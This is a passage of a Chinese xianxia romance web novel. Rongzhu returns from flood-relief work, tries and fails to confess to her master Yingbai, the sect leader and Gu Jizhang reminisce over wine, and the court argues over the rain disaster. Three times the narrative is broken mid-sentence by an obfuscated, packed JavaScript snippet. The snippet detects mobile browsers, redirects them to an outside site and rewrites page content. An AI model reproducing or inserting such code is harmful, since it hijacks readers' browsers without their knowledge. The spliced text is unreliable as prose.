车轱辘驶过泥泞的道路,两圈下来已糊了层泥衣,车夫早已将马车内拾掇得干干净净,一应物品准备齐全,周望白净的鞋边在上马车时蹭了点泥土,他瞥了一眼放任不管。 容珠不曾想周望会主动说话,她放下车帘,将目光从车外的景象移到周望脸上,“身负灵力,为的就是在百姓需要的时候物尽其用,这是我应该做的事,没有辛苦不辛苦一说。” 越跟百姓相处她越觉得灵力这个东西如果只是用来争强好胜,互相攀比的话就像是把一个纯洁懵懂的孩子往坏处教。 灵力怎么用,全靠修炼者的心思,靠修炼者赋予其价值,跟解人于危难,提升他人快乐比起来,拿灵力来比较自身强弱,继而踩低弱者是多么幼稚且荒唐的做法,容珠早就为自己从前那股拼命修炼,一心要变强的想法而感到羞耻。 周望道:“民为邦本,民心之所向便是政之所行。卞、永、边、临、咸五城知府都在雨灾一事上尽心为民,位高者与平民的关系就譬如天上的白云和世间生灵。” 他掀开车帘看世间:“世间生灵如河中鱼,山中鹿,地上草,街上人以及生长在大地上的所有具有生命之物。平常,天上的白云从它们身上汲取能量,在生灵需要的时候下一场甘霖,让江河保持水流依旧,鹿有甘泉解渴,草受滋养得以生长,人除有水自喝外还可灌溉农田。” 帘外的细雨丝趁着车帘被风卷起钻了进来落在容珠脸上,冰凉的触感让她思绪顿明,“可……白云若有失控制,则会酿成干旱或雨涝,譬如现在。是否意味着,位高者也不常清醒自制?” 周望微微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997620|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一笑,“位高者常因自已能掌握何时下雨,下多少雨而睥睨众生,殊不知先有生灵才有雨,若因自己有下雨的能力而作践生灵,迟早有一天他会发现自己再也降不出雨,而生灵自另寻白云相互取舍,原先这朵云没了生灵给予的能量,很快就风吹四散,化为乌有了。” “你说的生灵似乎懂得反抗。”容珠想到了自己的世界,“如果天上的白云下的是刀子雨,而生灵不敢反抗,他们没有能力反抗,甚至甘愿流血,这又该如何?” “万物有灵,没有生灵愿意一直承受苦楚,所谓的甘愿不过是受长久的压迫所带来的惧怕已深深刻进了骨髓造成的。”周望反问:“容姑娘想破局吗?” “有一个人想改变这个局面,他想让每一个人都过上幸福快乐的日子。”容珠看着自己的衣裙,上头珍珠做的花心映衬在她瞳仁里,亮得璀璨。 她也不奇怪周望为什么没有细问哪里有这种现象,她反而感觉周望身上有一种问什么他都能知道并且他的答案十分可用的信赖感。 回都的这几天,容珠发现周望不仅爱讲话,而且说的都是民生一类的话题,他的认知和见解让容珠觉得陌生又情不自禁去认同。 她能感觉到周望是站在百姓的角度上思考问题,这恰恰填补并扩充了容珠这几天监工的感悟。 回程的路上不像去时那么枯燥乏味,以至于五天的时间对容珠来说就是弹指一挥间。 赵皇帝没有主动了解周望和容珠二人这两个月都干了什么,他完全相信周望的办事能力,因此象征性地问了问各地沟渠情况后对二人夸赞了一番。 雨丝细密如线,应白打着雨伞满心期待地往外走。 紫阳宫的大门就在眼前,应白对顾寄章露出的笑容没有多想,他下了阶梯,看到一辆皇家马车停在紫阳宫前。 周望拿着一把伞先下了马车。车身微晃,车帘微扬,容珠余光里看到紫阳宫的长阶前立着一个身影,她不用仔细去瞧就已心知肚明。 “我想和他一起改变这个局面。” 当时在马车里,容珠是这么告诉周望的。 和他一起不仅仅因为自己喜欢他,帮喜欢的人去实现梦想,更重要的是,她也曾是受害者,是他将自己从黑暗里拉了出来来到一个光明的地方,她尝到了快乐,便想要让那个世界更多的人品尝快乐。 周望道:“容姑娘所说的局面可破又不好破。说可破,无非是角逐高位,另有仁德之士胜出重整世界,说不可破,是因为常久受恐惧侵袭的人心中早已形成了一套自以为应该的行事标准,也就是你所说的‘甘愿’二字,他们的‘甘愿’让他们不接受胜出者施行的仁德之行,民心不归顺,便无法扭转局面。容姑娘,万事开头难,即便那个人当了这朵新云,他也要花更长的时间才能慢慢实现你们想要看到的局面。” 更长的时间…… 容珠难掩激动,想和应白并肩同行的决定像一把火似的燃烧着她。 朝荣国很好,但她终有一天要回到自己出生的地方,她如今拥有的能力既然源自于帮助他人而得,那她更要在这条道路上一往无前地走下去。 在这之前,她是不是要先跟他表明某件事? 她下马车的那一刻蓦地想起之前应白对自己说的那番颇有重量的话:“没有灵核的确是件伤心事,可我不介意你在我面前提起,我们经历过多次生死,我所有的事你都知道,我所有的亲人你都见过,我没有什么事是你不能提起的,我希望我们之间没有边界存在。” “雨大,小心淋湿。”周望适时把伞罩在容珠头顶,容珠脑子正一团乱地吵嚷着,因明白了应白这番话的意思,脸唰一下红了,耳边又听见周望在跟她说话,下意识看向他。 和周望回程的交流让容珠对他的警惕缓和了许多,知他好心为自己遮雨,于是礼貌性地朝他一笑。 应白握紧了伞柄,内心腾飞的雀鸟仿佛猛然被弹弓射中,直直坠落下去,摔得五脏俱裂。 容珠带着红晕的笑他从来没有见过,今日第一次见,可这笑对的是别人,这意思还不够明显吗? 雨势来得凶猛,哗啦啦飞泻而下,似乎有撵人离开的意思。隔着雨帘,应白看到周望对自己微微颔首,狡黠一笑。 101. 靠近 雨大,应白越来越看不清容珠的脸。 周望没进紫阳宫,他对众人打了个招呼,临走前又对容珠说有空去他家玩。 顾寄章看师徒俩见面了也不想碍事,正准备先走一步,一回头瞥见了蹲在雨中的金毛。金毛全身都湿透了,它吐着舌头,静静地坐在地上看着众人。 顾寄章“哎呀”了一声,将周身的避雨屏障包裹住金毛:“雨这么大你怎么出来了?瞧你的毛都湿了,哎呦呦,别甩……” 大雨劈里啪啦打在伞面上,四周喧哗无比,像在鼓动推搡着容珠赶紧做下一步。 “师父……” 她脸上还余有红晕,淡淡的,跟花骨朵刚冒出来的一小片花瓣似的粉嫩,长睫轻轻颤动,半遮盖着底下纯净明亮的黑眸,嘴角挂着浅浅的微笑,让她整张脸看起来比平常更加动人心魄。 应白越看越贪恋,可心底的难受不停地抓挠着他,他一想到容珠面颊上的美是因周望而起的就闷得让他呼吸不过来。 可容珠是他心尖上的人,好久不见,应白还是想问问她监工期间过得怎么样,他对她温和一笑,道:“雨大,进屋说吧。” 两人都打着伞,彼此间隔了点距离,容珠想起了监工期间有个已婚妇女说:“女子不要老矜持嘛,主动跟喜欢的人制造些亲近的机会,更容易成事嘞!” 容珠脑子一转,她本就觉得打伞和应白离得远,不如主动跟他乘一把伞? 她已经决定了要把这事说出来,那就先迈出这小小一步,然后随机应变。 可真要这么做的时候,容珠在马车上的勇气也不知道被雨冲刷到哪里去了,她两只脚走走缩缩,一会儿瞟一眼伞下的应白,一会儿做心里建设,脚尖毫无章法地乱转,但就是没往该去的方向,伞柄快要被她握碎了,她半个动作都没完成。 应白察觉到容珠一路上都没说话,他看了她一眼,发现她的脸还在红着,睫毛垂着,看神色似乎在很认真激动地想着什么事。难道去周望家里做客让她这么开心吗? 沉默了一段路,二人来到紫阳宫茶室里面坐着。容珠看四下没人,心想这个机会也不错。 “监工累不累?”应白取过茶杯摆好,将炉上冒着细烟的茶壶提起来给容珠倒上。 说起这个,容珠倒轻松自在许多,他给应白讲挖渠现场的壮观,讲各地的民风习俗,讲知府们的样貌和日常办事流程,讲百姓们有多么热情…… “还有一件令我意外的事。”容珠喝完杯子里的水,双眸亮晶晶的,“我在卞城施加避雨屏障的时候用出了爱之力。” 据应白所知,容珠在上次用爱之力救过他以后便再也没有用出来,这样极有作用的神力用出一次可以说是偶然,能用出第二次说明定有召唤它的法子,应白上了心:“可知为何能再次用出来?” 容珠拿着空杯子将胳膊肘撑在桌上,有些困惑,“说不上来,我并不是第一次施加避雨屏障,无非是从都城换到了卞城,不过当时我的心情比较激动,因为所有人都在看着我……他们的眼神包含着渴望和感激,每一个人的脸上都有笑容,我想了很多,甚至已经忘了我正在干什么,然后,爱之力就出来了。” 容珠不是没细细想过爱之力出现的原因,她把两次用出爱之力的情形都认真地回忆了一下。 一个是揪心挠肝盼着应白康复,一个是期盼卞城百姓都能安稳度过雨灾,这两种情形要说共同点,无非是自己心里十分盼望着某件事发生,可她也曾真心希望黑兔子能不再抢夺白兔子的吃食,让它们友好相处,为何对黑兔子就用不出来爱之力呢? “用爱之力施加出的避雨屏障又大又坚固,我都不用对它进行修补,它跟其他的避雨屏障有很大的不同。”容珠指尖轻轻敲着杯子边,她观察着应白的动作,在应白给他茶杯倒水的那一刻也把自己的杯子递了过去。 她又忽然觉得两个人现在还是师徒关系,哪有徒弟把杯子递过去让师父给自己倒水的道理?自己怀揣着想拉近彼此距离的心思,可师父不知道呀! 竹青色的杯子边缘有一小圈水渍,那是喝水时留下的痕迹,带着冷却了的温度,和门外绿叶上的雨水一样凉。 应白看着它边倒水边说:“爱之力非同寻常,奚昤既是爱之神尊,那你两次用出爱之力时,你的心一定是纯净,毫无杂质的。那时那刻,你的心中一定充满了爱。” 应白将杯子慢慢推到容珠跟前,在手指离开的那一刻,他不经意地,顺其自然地,用拇指指腹轻触了一下边缘上的水渍,借着食指的遮蔽藏住了那滴水珠,在胳膊收回来后轻轻抚摸,感受着湿意在指尖洇开,附上了灼烫的温度,给心灵带去片刻安慰。 杯沿冒着热气,在那清香的水光之中,容珠仿佛又看到了深受重伤,躺在床上的应白。 “你的心中一定充满了爱。”这句话让容珠心如敲鼓,以此刻之心回忆彼时之情,她知道那时的自己在呼唤“师父”的表象下是一颗怎样焦急担忧的心。 她不知道自己对应白的喜欢从何时产生,在认识应白以前,她的身体,她的脑子都不存在“喜欢”这种感情。 爹娘的相处她早就模糊了,她没经历过,没看过,可即便在什么都不知道的情况下,她胸腔里的心却在她毫不知情中自己产生了某种感情。 好像人生来就会在某些情景中不由自主产生这种情愫,不管此前有没有看到过,经历过,因为这是人与生俱来的本能,爱一个人的本能。 就在容珠绷紧的身子快要让她喘不过气来时,应白平静地问她:“你和周大人相处得怎么样?” 体内的弦还在绷着,容珠感到后背僵硬,她微微活动了一下身子,脑子因突然的话题转变而顿了半拍,“挺好的,周大人……” 她想到了周望的静默,周望受伤的腿,还有周望对她说的民为邦本的话语。 周望的多变让容珠对他本人的性情模糊不清,她根本无法用什么词来准确描述周望的为人,好像哪一个词都不足以概括他的多面,更何况容珠并不敢说自己和他监工两个月已经完全了解了他。 “性情多变。”容珠接着刚才的话道。 这个词乍一听不像是赞美,应白来了兴趣,只听容珠说:“我原以为他为人友善热情,客气礼貌,但他也会沉默寡言,跟人保持着交流距离,和各城知府谈论公事时虽不多说话但也认真负责,好些人说他不愧是从皇宫里出来的官员,气度不凡,一表人才。” 应白的眸光暗淡了两分。 “我本觉着他性格奇怪,可他与我说了好些百姓乃一国之根基的见解,倒让我感悟良多,我才明白要想建立一个和谐安宁的世间,除了制定律法来约束百姓外还要教授他们道德廉耻,周大人说不能只想着‘抑制’,还要学会‘灌输’,双管齐下,才能长久且有效地治理国家。” 容珠手指在茶桌上比划着,末了,她补充道:“周大人很有思想和才华,我现在倒有些明白沈宫主说他是贤臣的含义了。” 崇拜。 这是应白从容珠话语里总结出来的深层意思。 周望性情多变,因为他想把真实的自己展现给容珠看,每个人都有喜怒哀乐,这是周望对容珠的坦诚,很显然,即便如此,容珠依然对他有很高的评价。 “那……”应白的手指不自觉蜷起,他不想问这个问题,但又迫切想亲耳听到容珠的回答,“你想和他继续相处吗?” “我挺喜欢和他交流的。”容珠不懂应白的言外之意,因为心里头那件关键的事还没说,鼓动得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002049|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她坐立难安,她不想再说这些无关紧要的事,便硬着头皮再次给自己壮胆。 应白心底一沉,余光看到对面之人起身,紧跟着身旁的光影暗了些,容珠坐了过来。 “师父……”容珠看着眼前这双棕色的眸子,“我,有一件事想跟你说。” 应白蓦地预感到她接下来要说的是他不愿听到的事,但他什么也没说,没有任何动作,只是静静地坐着,等待着这条捆绑在他心上的绳索,慢慢勒紧。 茶室静得诡异,哗啦啦的雨声掩盖了外面急匆匆的脚步声。 容珠的目光亮得应白心里发慌,他不想听到容珠说她和周望的感情,他甚至开始祈祷赶快发生一件什么事打断容珠接下来的话,如果早晚都要知道,那他就晚一点知道! 借着屋外的光,容珠可以很清楚地看到应白的皮肤纹路和他细致的睫毛,她这才意识到自己离他这样近。 她刚发现在他左边眼尾附近有一个很小的缺口,他脸上的每一处细节都是陌生的,鲜明的真实感直击心底,她连呼吸也克制收敛了,仿佛是第一天认识应白似的,细节的陌生盖过了她以为的熟悉,逐渐压过了她的心里建设,她的勇气在一点点消散。 屋外疾步走过一个紫色身影,很快又掉过头来,邱梧倚在门边,笑着对屋里人说:“容珠,原来你在这里!” 应白为自己没听到容珠接下来的话而松了口气,他暗道邱梧出现得真及时,趁这个机会他快速对容珠道:“你们二人好久没见了,邱梧一定有很多话要跟你说,方才我和顾先生还有棋没下完,我先去了。” 邱梧见应白着急忙慌地走了,回想起二人方才挨得那样近,顿时恍然大悟,以为二人久别重逢,正含情脉脉着,自己也只是听说容珠回来有些兴奋想找到她,却贸然出现坏了二人氛围,她来到容珠身边坏笑道:“我是不是来的不是时候?” 是不是时候容珠也不确定了。她一半庆幸邱梧来得是时候,缓解了她说不出口的尴尬局面,一半又怪邱梧来得不是时候,说不定她一会儿就能说出那句话来。 但容珠心知这事怪不上邱梧,是她自己退缩了,即便明知应白也喜欢自己,可她也不知道为什么,明明确定的事在她近距离看到应白的脸时还依旧没有勇气说出来。 此刻,她紧绷着的大脑和身体骤然放松了下来,她拉着长音道:“邱梧——”她疲累地去抱她,半张脸靠在她肩上,“我好想你啊。” 夜幕降临,今天邱梧和容珠都回来了,众人围坐在圆桌旁吃饭。沈宫主给顾寄章倒上果子酒,这种果子酒喝了不醉人,意在助兴。 顾云萧说酒杯小,要用碗喝,上官琛说果子酒没劲,换烧酒来。沈宫主让人单独给上官琛拿烧酒,他们照样喝果子酒,上官琛不干,拉着应白一起喝,整顿饭吃得跟过年一样热闹。 席间,顾云萧一碗一碗果子酒喝下去脸也微红了,她对容珠说:“你回来了,我还要找你切磋。” 容珠看着脸色红扑扑,眸光却乌黑明亮的顾云萧道:“好啊。” 她端起自己的小酒杯举了过去,顾云萧拿起酒壶往搁置在一旁的小酒杯里满上,清脆的碰撞声是约定的最终仪式,对面的上官琛酒足饭饱,打了个响嗝,看应白还要给自己倒,他摆摆手道:“我不行了……” “上官师父,你不行啊。”顾云萧呵呵笑着,容珠看到上官琛苹果似的红脸又抬了起来,他看了顾云萧一眼,然后拿起酒杯一饮而尽。 * 更深露重。周望才回到府里,院子里静悄悄的,他回到房中,给自己的手腕和脚腕重新上了药缠上纱布,腥味充斥着整个屋子,他收拾好后准备开窗。 敲门声轻轻地响了两下,云轻在外面细声道:“大人,烛台找到了。” 102. 寄章 眼瞧着到后半夜了,沈宫主撵着众人回去睡觉。 彼时上官琛已经醉得不省人事,和同样醉酒的顾云萧脸对脸趴在桌上,邱梧要拉着容珠一块儿到她屋里睡,沈宫主准备扶顾云萧回房,邱梧说反正顺路,她和容珠一块扶她回去。 容珠瞧应白只是脸色微红,行动间不见醉态。因他早年在东林山的时候就常陪他师父喝酒,一杯倒也硬是被老头练得千杯不醉,此刻应白还清醒着,就架着上官琛回去了。 两个大人不像这群孩子似的玩起来肆无忌惮。屋里一下子安静下来,沈宫主虽然年过四十,但姿容依旧,她脸上的红不是喝醉的红,是人高兴起来自然而然漾出来的气色。 屋内的排排烛光映衬得她明眸亮丽,顾寄章要走,沈宫主晃了晃装着烧酒的酒壶道:“还有呢,喝完吧。” 她给他满上,也给自己倒上,正好够两杯,一滴不多,一滴不少。 顾寄章看着酒杯,桌子是稳的,透亮的液体却在杯中微微荡漾,像石子落湖,湖面泛起了涟漪,久久不能平静。 沈宫主举着酒杯却不碰,她静静地说:“果子酒没了,只剩烧酒了,就一杯,醉不了。” 顾寄章一愣,随后眸光微动,会心一笑,“我记得。” “当年紫阳宫那些弟子都爱喝果子酒,因为它喝起来跟甜汁儿一样。春天酿苹果酒,夏天酿葡萄酒,秋天酿橘子酒。”沈宫主回忆往事,笑得明媚,眼角的皱纹也遮盖不住她的风姿,“尤其是葡萄酒,酿好以后大家都抢着喝。 “那会儿新来的弟子还在拘束着,好些人嘴馋又不好意思抢,我就去给他们倒烧酒,倒的第一人就是你,你问我这酒甜不甜?” 顾寄章眉眼含笑,一直听沈宫主讲。她继续说:“我说‘甜!骗你我自罚三杯!’你仰头一口干,结果辣得直咳嗽。” 沈宫主说得绘声绘色:“弟子们笑得前仰后合,你指着我说不出话来,我知道你要说什么,就自罚三杯。我以为你不喝了,但你又让我倒,这次你喝得慢了些,喝完后还要喝,我心觉你这人爽快,高高兴兴给你倒第三杯酒。你喝完后对我说‘圣女言行一致,三杯过后面不改色,人如此酒,弟子顾寄章领教了。’” 然后,年少的顾寄章就醉晕过去了。 彼时的沈青寒记住了这个三杯倒的弟子,她向跟他住一块儿的弟子打听这个人才知顾寄章平时不喝酒,虽然喜欢葡萄酒但也只喝三小杯,因为喝多了就会困意上头,呼呼大睡,影响修炼。 沈青寒平常不在紫阳宫,先宫主放她出去游历各处,斩妖除魔,一年之中能回来四五次,紫阳宫的弟子她都认不全,等她下次回来是在半年后了。 一日之计在于晨,沈青寒从晨练的弟子中看到了顾寄章,想起他酒量不行,就问先宫主此人修炼如何。先宫主说了四个字:“勤能补拙。” 顾寄章天资一般,但他晚睡早起,刻苦修炼,紫阳宫给弟子们安排的课业他不是完成得最好的那一个,但一定是最认真的那个。这样的认真日复一日,年复一年,他平庸的天资也阻挡不了他日渐显露的潜力。 就在先宫主决定培养他的时候,顾寄章却收到了姐姐的来信:长辈去世,祖传的药铺交到了他手里。 彼时的顾寄章没有任何情绪浮动,从小到大都是家里人让他干什么他就干什么,他没什么自己的想法,对什么都是不喜欢不讨厌,但做起事来也不会敷衍懒散。 家里人让他进紫阳宫修炼,他就进,既然成为了紫阳宫的弟子,那就得努力做好一个弟子该做的事。现在家里人让他回去管铺子,那他就退学,回去做一个尽职尽责的生意人,把家族生意发扬光大。 顾寄章在紫阳宫学艺三年,走的时候正逢冬日。 沈青寒听先宫主叹息着说他要退学时正喝着烧酒在雪中舞剑。酒壶里的酒还剩一点儿,她想着同门一场,又和他有三杯酒的交情,于是对先宫主说:“那我去送送他。” 她去弟子们休息的院子里看到了顾寄章,虽没说话,顾寄章也看出了她的来意,简短地道:“后会有期。” 沈青寒晃了晃酒壶,笑道:“喝杯酒再走吧。” 顾寄章看着那壶酒露出了犹豫的神色。 “果子酒没了,只剩烧酒了,就一杯,醉不了。”沈青寒把壶倒了个干净,正好一杯酒,一滴不多,一滴不少。 雪还在下,沈青寒的脸颊因喝了几杯烧酒而带着些粉意,她走近了,顾寄章眼前的每一片雪花都带着辛辣的酒香。 他抵触烧酒,但觉着只是一杯,不喝便拒绝了圣女送自己的好意,况且喝了又不会醉,于是拿过来一口干了。 没过多久,这股辛辣在体内激流勇进,化作了滚滚热意,把附着在身上的寒气全都烧化了,浑身上下热得冒火。 他强忍着舌尖的辣意和胸腔的不适,对圣女揖了一礼后就走了。沈青寒隔着雪海对他说:“不喜欢可以不喝,我又不会勉强你,人生在世,不能老是顺着别人,得自己开心啊!” 顾寄章走过的雪地上留下了一小串脚印,他回头,雪太大了,看不清圣女的脸,但在雪花飘落交错的空隙间,他看到了圣女明艳的笑容,他没把这个放在心上,就像他以前见过的无数该哭哭,该笑笑的画面,哭过笑过后都会忘得一干二净一样。 但顾寄章没想到的是,他回到家中看着桌上摆的一本本各个铺子的账本,他忽然生出了一种厌烦感,这种厌烦让他渐渐意识到自己不喜欢做这件事,就像不喜欢喝烧酒一样。 在他当年被沈青寒骗酒喝了一杯烧酒后,顾寄章第一次发现自己如此不喜欢一样东西,现在摆在他眼前的商铺又成了第二样东西。 不行。 顾寄章闭眼躺在床上,他不能一直做自己不喜欢的事,他不要来回穿梭在这几处小小的屋檐下,整日拨弄算盘,耳朵里听的全是银钱货物等话语。 这些铺子虽然是祖祖辈辈传下来的东西,但不代表他在经营铺子外不能追寻自己喜欢的东西。 他要去找自己喜欢做的事,他要选择自己想要的人生。 他跟姐姐商量后就聘了人管理铺子,既然不知道自己喜欢什么,那他就周游四处,什么都试着干干。他常背着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002050|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一把剑,跟他打过交道的人就提议:“不如你来教我娃儿舞剑吧?” 教人习武修炼这件事,顾寄章说不上来自己哪里喜欢,但就是跟以往做的任何事都不一样,他喜欢别人问他问题他做出解答的过程,喜欢看他们在自己的指点下学会一套剑法的变化,喜欢一群孩子围着他喊“老师,老师”,还喜欢背着他们跃上山峰,带他们去看不曾看到过的山河景色。 酒杯里的液体静了下来,顾寄章对沈宫主道:“我那会儿没想到将来有一天还会再进紫阳宫。” “更没想到会来紫阳宫当老师。”沈宫主笑看着他。 “当你孩子的老师。”顾寄章终于抬眸看向沈宫主,眼前这个笑容跟那年他离去时,大雪交错间露出的笑容一模一样。 顾寄章以为自己早就忘了,但他在时隔多年再见到已成沈宫主并且拉着两个孩子买糖的沈青寒时,他站在烈阳下,眼前却好似飘起了鹅毛大雪,大雪后,沈宫主明艳地笑着,问他:“你,你,果子酒?” 糖人的蜜香飘散四周,顾寄章的鼻间却充斥着烧酒的辛辣味道,他揖礼微笑道:“在下顾寄章,沈宫主有礼。” 缘分妙不可言。顾寄章直到那一刻才意识到自己当年离开紫阳宫后的种种变化皆因那一个笑而起。他从来没有在意,却也从来没有忘过。 深夜寂静,沈宫主端起酒杯往顾寄章跟前举了举:“你本就是紫阳宫的弟子,先宫主常说光修炼不行,还得有走遍天下的阅历,真正明白百姓之辛劳,你二者兼得,由你来教邱梧和阿琛再合适不过了。现在我不是沈宫主,我只是他们的母亲,这杯我敬你,你随意。” 顾寄章心下微动,他想起了当年圣女那句“不喜欢可以不喝,我又不会勉强你,人生在世,不能老是顺着别人,得自己开心啊!” 沈宫主一饮而尽,顾寄章看着杯中琼浆道:“今时不同往日,年少只知烈酒辣,不懂细品其中的香醇,果子酒虽清甜,却也仅限于此了,年纪越大,反而越会怀念曾经不为所动的事物,如今这烧酒喝起来只有醇香了。” 他举杯饮尽,感受这股热烈的暖意沿着五脏六腑蔓延开来,一点一滴包裹住他的心。 他想当老师,想教年轻的孩子们习武修炼,可在教了邱梧和上官琛后,顾寄章不想再教其他人了,也不想再离开紫阳宫,邱梧和上官琛是他此生最后的学生,他只想成为邱梧和上官琛的老师。 人心底的感情滋生得莫名其妙,顾寄章以为妻子死后他不会再产生感情,他始终想不明白,为何再见到沈宫主后,所有的一切都不一样了。 好像紫阳宫弟子和圣女的身份已成为前尘往事,在他眼里,她只是一个女子,一个喜欢喝烧酒,把人生过得肆意潇洒,笑颜始终明艳的女子。 沈宫主看着空空的酒杯故作玩笑道:“你要这么说,我可就要再拿一壶来跟你喝,既然香醇,一杯怎么够呢。” 喝了一杯烧酒的顾寄章面色如常,他把自己的酒杯放在沈宫主的酒杯旁,两个杯子挨在一起,他认真道:“以后有的是机会,我想月月年年,细水长流慢慢品。” 103. 左相 容珠半夜是被渴醒的。她睡在里面,借着外头的月光看邱梧四仰八叉地睡着,身上的被子横在腰间,露出一点肚皮在外面. 她迷迷糊糊给她掖好被子,下去咕咚咕咚喝了几大口凉水,然后晕晕乎乎地又上床躺着了。她梦见自己在紫阳宫里到处找茅房,明明有茅房的地方却种满了树,她憋得实在受不了,思绪渐醒,睁开眼时已经天亮了。 收拾好后,她来到应白院中想找他练剑但不见他的身影。她跑去厨房,跑到平常大家一起吃饭的地方都没看见他,路过的紫阳宫弟子猜测她在找人,于是问:“容姑娘,你在找你师父吗?” 容珠点头。弟子道:“他天不亮就出去了,应该是去找灵根草了吧,最近这段时间他一直在忙这个,有时候还跟顾先生一起。” “你知道他去哪儿找吗?” 弟子摇头,“灵根草不好找,应公子一出去得好几天才能回来,早前听说容姑娘即将回都,应公子这才回来待了几天,别的我就不知道了。” 容珠看这弟子手里拿着一堆案书,想来是要送去沈宫主的书房。她对他道了声谢,然后慢慢往回走。 她有点失落,她知道应白找灵根草的原因,可为什么他不问问她,她也想跟他一起呀。怎么两个月不见,她才回来,应白就跑了呢? 早晨的风湿凉,容珠打了个喷嚏,想起昨晚邱梧把自己的被子盖了去,她揉揉鼻子,准备去厨房要碗姜汤。 * 雨灾持续了两个多月,纵使地方官带着劳工挖沟渠疏官沟,各地门派在当地施加避雨屏障也阻挡不了大雨引发的一项重大问题:春耕不利。 百姓们已经很久没有见到阳光了,洗的衣服晒了五天一摸还是湿的,晚上睡觉往被窝里一躺连床褥都泛着水汽,这些都是小事。 如今正值春天,农户们刚在雨灾前播种完,种子要是长时间吸收不到阳光会严重影响秋收,明年整个朝荣国的百姓都可能面临粮食短缺的情况。 一场雨灾牵扯甚远,沈宫主一早想到了这点,为了这事召集各门各派商量对策也没商量出个所以然。下雨了可以设避雨屏障避雨,但没阳光他们没辙,灵力可以制造光源,要多亮有多亮,但那不是正儿八经的阳光,照到田地上也没用。 沈宫主在朝堂上说了这事,赵皇帝轻描淡写道:“错过了春耕,夏季和秋季也能播种,无非粮食品种没有那么丰富,但也不至于吃不上饭,沈宫主何必如此忧虑?” 朝堂寂静,只闻屋外淅沥雨声,沈宫主正色道:“民以食为天,魔龙虽说降三个月的雨,可它自出世以来无恶不作,存心祸害朝荣国百姓,它在这个时候下三个月的雨,分明是想从粮食一事上作乱,它有此心,不知雨灾过后还有何诡计,为了避免将来无米之灾,现在该未雨绸缪才是。” 高位上的赵皇帝身体朝前倾了倾,“魔龙既是根本原因,那就该去想如何解决魔龙,解决魔龙是紫阳宫及各门派的事,沈宫主把心放在这上头,尽早找齐其余点亮石碑之人击杀魔龙,还愁百姓吃不上粮吗?” 沈宫主心中一寒。深究起来,也不是寒了一回了。 她上次给边城知府出主意建大棚,让那些被雨水淹了房屋的百姓有地方住,赵皇帝便说她僭越,现在她想跟赵皇帝好好商量百姓未来可能没有粮吃的解决办法,赵皇帝避开重点去指责她没有除掉魔龙。 沈宫主怀疑赵皇帝根本没意识到朝荣国正在面临怎样的危机。所有人都知道魔龙是一切变故的罪魁祸首,解决了它,百姓的安宁就不成问题,问题是唯有石碑上的七道印记点亮才有办法真正杀死魔龙。 自上次天师大人预测其他点亮石碑之人出自都城后,都城所有男女老少每隔七天就要再去石碑处验血,十个指头轮流咬破,若石碑是个人,喝血也该喝吐了,但到现在石碑上的印记仍然没有任何变化。 降妖除魔是各门各派的职责,而魔龙特别的生命让所有门派的人对此束手无策。 他们处在一个非常被动的局面,不知道谁会点亮石碑,不知道石碑究竟想要什么人。他们仿佛在请求上天的帮忙,希望上天尽快派遣能人异士下来除魔,而上天总是在说:“等等吧。” “陛下。”沈宫主旁边的邱宫主开口道:“魔龙屡次将作乱苗头对准百姓,显然明白民乱则家国动荡的道理,此魔怪非正常之力可以除掉,眼下我们不仅面临百姓未来可能无粮的风险,兴许稍有不慎就会给魔龙作乱皇宫的机会,酿成肘腋之患。” 立在前排的周望动了动脚,站得久了腿就会疼,他甚至能感受到伤口处的鲜血在晕染着纱布,痛如灼烧,他面无表情,好像这伤不是自己的。 “魔龙虽强大,难以预测,在石碑印记点亮前也不是没有应对之策。”邱宫主的声音端正肃穆,有时候他比顾寄章还要像个老夫子,沈宫主侧眸看他,见邱宫主的双眼望着堂上熠熠生辉,停了片刻便听他道:“此法便是万人一心。” 上官宫主会意,“万人一心,一心为民,民为根本,固根则不易被风吹倒。” 二人一左一右站在沈宫主身旁,他们是前夫,是同僚,是盟友,是朋友。 朝臣之间断断续续传来细微的议论声,去年被打了三十大板卧病在床的左相终于把身体养好,前几日来上朝,赵皇帝似乎也没看见他,左相也一直没有出声言论。 直到此刻,他花白的眉毛动了动,灰暗的目光生出两分光亮,他作揖躬身,缓慢道:“臣附议。” 赵皇帝瞥向他。 有人在心中敬佩左相的勇敢,有人在担心左相又会被罚,有人在犹豫要不要说点什么,有人觉得事不关己,静观其变。 